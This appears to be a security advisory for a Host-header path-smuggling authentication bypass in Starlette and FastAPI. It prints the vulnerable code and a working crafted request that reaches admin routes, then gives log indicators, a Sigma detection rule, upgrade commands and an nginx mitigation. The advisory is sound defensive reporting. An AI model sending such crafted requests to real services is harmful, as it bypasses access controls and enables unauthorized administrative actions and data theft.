Skip to content

CVE-2026-48710: Starlette & FastAPI BadHost Path Smuggling & Auth Bypass

HTS

HERMES THREAT SCORE & OPERATIONAL EXPLOITABILITY

Target: Starlette ASGI Framework & FastAPI Microservices (≀ 1.0.0)
Confidence: 98%
92 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 16 / 20
Exposure 18 / 20
Prevalence 15 / 20
Impact 5 / 20
βš–οΈ Divergence & Operational Rationale

Elevated to 92 HIGH by Hermes due to widespread adoption across modern AI inference gateways (vLLM, LiteLLM, Ollama proxies), confirmed active exploitation in the wild, and listing on the CISA KEV catalog (September 2, 2026).

πŸ•ΈοΈ Connected Knowledge Graph & Provenance

CVE-2026-48710: Starlette & FastAPI BadHost Path Smuggling & Auth BypassVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTStarlette / FastAPI ASGI Framework
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

πŸ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Starlette / FastAPI ASGI Framework documented in Hermes dossier.”

Supporting Verified Evidence:

In modern asynchronous Python web architectures, the ASGI (Asynchronous Server Gateway Interface) specification governs communication between the HTTP server (e.g., Uvicorn, Hypercorn, Granian) and the application framework (Starlette, FastAPI):

ASGI Scope vs. Starlette request.url Desynchronization ("BadHost"):
Attacker Submits Crafted HTTP Request:
GET /admin/models/delete HTTP/1.1
Host: api.target.corp/public#
β”‚
β–Ό
[ASGI Server: Uvicorn / Hypercorn]
Parses raw HTTP packet into standard ASGI connection scope:
scope = {
"type": "http",
"path": "/admin/models/delete", <── Canonical Raw Endpoint
"headers": [(b"host", b"api.target.corp/public#")]
}
β”‚
β–Ό
[Starlette Application Layer: request.py]
Reconstructs high-level `request.url` object via unvalidated string joining:
url = f"{scheme}://{host}{root_path}{path}"
url = "https://" + "api.target.corp/public#" + "" + "/admin/models/delete"
β”‚
β–Ό
[Standard Library urllib.parse.urlsplit(url)]
Interprets `#` as fragment boundary or `/` as path boundary:
β€’ scheme: "https"
β€’ netloc: "api.target.corp"
β€’ path: "/public" <── SPOOFED EVALUATED PATH
β€’ fragment: "/admin/models/delete"
β”‚
β–Ό
Security Middleware Evaluation Check:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Auth Middleware: `if request.url.path.startswith("/admin"): require_auth()`β”‚
β”‚ Evaluates: `request.url.path` == "/public" -> PASS (NO AUTH REQUIRED) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”‚
β–Ό
Underlying Router Execution:
Router dispatches request using raw `scope["path"]` -> Executes `/admin/models/delete`

In Starlette versions prior to 1.0.1, the Request.url property in starlette/datastructures.py reconstructed the full URL by reading the Host header directly:

# Vulnerable code in Starlette <= 1.0.0
@property
def url(self) -> URL:
if not hasattr(self, "_url"):
# Extracts raw Host header from client request
host_header = self.headers.get("host")
if host_header:
url = f"{self.scope['scheme']}://{host_header}{self.scope['path']}"
else:
# Fallback to server IP
server = self.scope.get("server")
url = f"{self.scope['scheme']}://{server[0]}:{server[1]}{self.scope['path']}"
self._url = URL(url)
return self._url

Notice that the host_header was passed directly into string interpolation without validating that it adhered to RFC 9112 (HTTP/1.1 Host Grammar) or RFC 3986 (URI Authority Components): host = uri-host [ ":" port ].

When an attacker supplies a Host header containing /, ?, or # characters (such as Host: example.com/public? or Host: example.com/docs#), Python’s urllib.parse.urlsplit() reinterprets the authority boundary. The injected characters trick the parser into shifting the actual requested path (/admin/private) into the query string or URL fragment, while the path extracted by request.url.path reflects the attacker’s spoofed prefix (/public).

Because middleware modules (FastAPI dependencies, authentication decorators, CORS handlers) typically inspect request.url.path, while the internal ASGI router dispatches handlers based on the raw scope["path"], the two components become completely desynchronized.

An attacker needs direct network access to the FastAPI/Starlette application, requiring no authentication, tokens, or prior access credentials.

Consider a typical FastAPI microservice protecting an administrative AI management route:

@app.middleware("http")
async def verify_admin_token(request: Request, call_next):
# Security check inspecting high-level request.url.path
if request.url.path.startswith("/admin"):
token = request.headers.get("X-Admin-Key")
if token != "SECRET_PRODUCTION_KEY":
return Response(status_code=403, content="Forbidden")
return await call_next(request)
@app.post("/admin/models/unload")
def unload_model(name: str):
return {"status": "model unloaded", "target": name}

The attacker transmits a raw HTTP/1.1 request manipulating the Host header:

POST /admin/models/unload?name=llama3-70b HTTP/1.1
Host: ai-gateway.corp/health#
User-Agent: Mozilla/5.0
Content-Type: application/json
{}

Execution Trace:

  1. Starlette reconstructs the URL: https://ai-gateway.corp/health#/admin/models/unload?name=llama3-70b.
  2. request.url.path evaluates strictly to "/health".
  3. The authentication middleware evaluates "/health".startswith("/admin") -> False. Security check is bypassed.
  4. The Starlette routing engine receives the request, matches the underlying ASGI scope["path"] (/admin/models/unload), and dispatches the administrative handler.
  5. The model is unloaded from GPU memory without any administrative credentials.

2. Impact on AI Agent Gateways & Model Inference Servers

Section titled β€œ2. Impact on AI Agent Gateways & Model Inference Servers”

In agentic architectures (LiteLLM, vLLM, Ollama proxies), Starlette and FastAPI are used as the primary API front-ends:

  • Tool & Prompt Extraction: Adversaries bypass /admin/prompts or /api/v1/tools authentication barriers, leaking enterprise system instructions and confidential RAG knowledge bases.
  • Denial of Service (GPU Exhaustion): Invoking internal batch generation or model-swapping endpoints without API keys or rate-limiting guards.
  • Tenant Isolation Breakdown: Multi-tenant SaaS gateways mapping customer organizations via URL paths (/tenants/{tenant_id}/...) can be manipulated to access adjacent tenant memory and vector embeddings.

DFIR analysts and SOC engineers triaging suspected CVE-2026-48710 exploitation should look for the following telemetry artifacts:

Examine WAF, Nginx, Envoy, or Cloudflare logs for non-compliant Host headers:

  • Delimiter Characters in Host Field: HTTP requests where the $http_host or Host header contains /, ?, #, or @:
    GET /admin/keys HTTP/1.1 | Host: 10.0.4.12/public# | Status: 200
  • Status Code Discrepancies: Requests targeting administrative endpoints returning 200 OK or 204 No Content from IP addresses that have never completed an OAuth2 or API key exchange.
  • Starlette/Uvicorn access logs recording requests where the logged path does not match external load-balancer routing paths:
    INFO: 198.51.100.22:45210 - "POST /admin/models/unload HTTP/1.1" 200 OK
  • Absence of authentication token parameters or user identifiers in downstream application transaction logs for requests executing privileged endpoints.
title: Malformed HTTP Host Header Containing URL Delimiters (CVE-2026-48710 BadHost)
id: 48710b01-4f10-4e2b-a487-100000048710
status: experimental
description: Detects HTTP requests bearing illegal characters (/ ? # @) within the Host request header, indicating an attempt to exploit CVE-2026-48710 path smuggling in Starlette/FastAPI.
references:
- https://github.com/encode/starlette/security/advisories/GHSA-7488-6r32-c95q
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
author: Hermes Codex CTI
date: 2026-09-08
logsource:
category: webserver
product: web_proxy
detection:
selection_host:
cs-header_host|re: '.*[\/\?\#\@].*'
condition: selection_host
falsepositives:
- Non-RFC-compliant legacy embedded testing tools (very rare on public interfaces).
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.48710

Upgrade starlette in your project dependencies immediately:

Terminal window
# Using pip
pip install --upgrade "starlette>=1.0.1"
# Using uv
uv add "starlette>=1.0.1"
# Using Poetry
poetry add "starlette>=1.0.1"

If using fastapi, ensure it pulls in starlette >= 1.0.1:

Terminal window
pip install --upgrade "fastapi[standard]>=0.115.0"

Even with patched applications, edge ingress controllers should strictly sanitize incoming Host headers to adhere to RFC 3986.

# Reject any request with slashes or backslashes in Host
if ($http_host ~* "[\/\\]") {
return 400 "Invalid Host Header";
}
proxy_set_header Host $host;